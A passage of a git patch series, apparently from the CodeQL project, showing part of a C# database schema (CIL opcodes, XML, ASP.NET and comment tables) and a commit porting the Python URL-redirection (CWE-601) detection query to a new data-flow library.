@un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/upgrade.properties similarity index 100% rename from csharp/upgrades/TO_CHANGE/upgrade.properties rename to csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/upgrade.properties From d8bfa3565fb117a1586cd5aa9d443e2558000ef3 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 19 Jan 2021 15:44:51 +0100 Subject: [PATCH 0723/1241] Python: Simple port of URL redirect query Still have not added sanitizer, but seems like old sanitizer was a bit too broad (also covering %-formatting) --- .../2021-01-19-port-url-redirect-query.md | 2 + python/ql/src/Security/CWE-601/UrlRedirect.ql | 32 ++----- .../CWE-601/UrlRedirect.ql | 41 +++++++++ .../python/security/dataflow/UrlRedirect.qll | 28 ++++++ .../Security/CWE-601/UrlRedirect.expected | 91 +++++++++---------- .../test/query-tests/Security/CWE-601/test.py | 8 +- 6 files changed, 122 insertions(+), 80 deletions(-) create mode 100644 python/change-notes/2021-01-19-port-url-redirect-query.md create mode 100644 python/ql/src/experimental/Security-old-dataflow/CWE-601/UrlRedirect.ql create mode 100644 python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll diff --git a/python/change-notes/2021-01-19-port-url-redirect-query.md b/python/change-notes/2021-01-19-port-url-redirect-query.md new file mode 100644 index 00000000000..a80093bc0f2 --- /dev/null +++ b/python/change-notes/2021-01-19-port-url-redirect-query.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Ported URL redirection (`py/url-redirection`) query to use new data-flow library. This might result in different results, but overall a more robust and accurate analysis. diff --git a/python/ql/src/Security/CWE-601/UrlRedirect.ql b/python/ql/src/Security/CWE-601/UrlRedirect.ql index cb517043a36..944726e1c98 100644 --- a/python/ql/src/Security/CWE-601/UrlRedirect.ql +++ b/python/ql/src/Security/CWE-601/UrlRedirect.ql @@ -12,30 +12,10 @@ */ import python -import semmle.python.security.Paths -import semmle.python.web.HttpRedirect -import semmle.python.web.HttpRequest -import semmle.python.security.strings.Untrusted +import semmle.python.security.dataflow.UrlRedirect +import DataFlow::PathGraph -/** Url redirection is a problem only if the user controls the prefix of the URL */ -class UntrustedPrefixStringKind extends UntrustedStringKind { - override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { - result = UntrustedStringKind.super.getTaintForFlowStep(fromnode, tonode) and - not tonode.(BinaryExprNode).getRight() = fromnode - } -} - -class UrlRedirectConfiguration extends TaintTracking::Configuration { - UrlRedirectConfiguration() { this = "URL redirect configuration" } - - override predicate isSource(TaintTracking::Source source) { - source instanceof HttpRequestTaintSource - } - - override predicate isSink(TaintTracking::Sink sink) { sink instanceof HttpRedirectTaintSink } -} - -from UrlRedirectConfiguration config, TaintedPathSource src, TaintedPathSink sink -where config.hasFlowPath(src, sink) -select sink.getSink(), src, sink, "Untrusted URL redirection due to $@.", src.getSource(), - "a user-provided value" +from UrlRedirectConfiguration config, DataFlow::PathNode source, DataFlow::PathNode sink +where config.hasFlowPath(source, sink) +select sink.getNode(), source, sink, "Untrusted URL redirection due to $@.", source.getNode(), + "A user-provided value" diff --git a/python/ql/src/experimental/Security-old-dataflow/CWE-601/UrlRedirect.ql b/python/ql/src/experimental/Security-old-dataflow/CWE-601/UrlRedirect.ql new file mode 100644 index 00000000000..cb517043a36 --- /dev/null +++ b/python/ql/src/experimental/Security-old-dataflow/CWE-601/UrlRedirect.ql @@ -0,0 +1,41 @@ +/** + * @name URL redirection from remote source + * @description URL redirection based on unvalidated user input + * may cause redirection to malicious web sites. + * @kind path-problem + * @problem.severity error + * @sub-severity low + * @id py/url-redirection + * @tags security + * external/cwe/cwe-601 + * @precision high + */ + +import python +import semmle.python.security.Paths +import semmle.python.web.HttpRedirect +import semmle.python.web.HttpRequest +import semmle.python.security.strings.Untrusted + +/** Url redirection is a problem only if the user controls the prefix of the URL */ +class UntrustedPrefixStringKind extends UntrustedStringKind { + override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { + result = UntrustedStringKind.super.getTaintForFlowStep(fromnode, tonode) and + not tonode.(BinaryExprNode).getRight() = fromnode + } 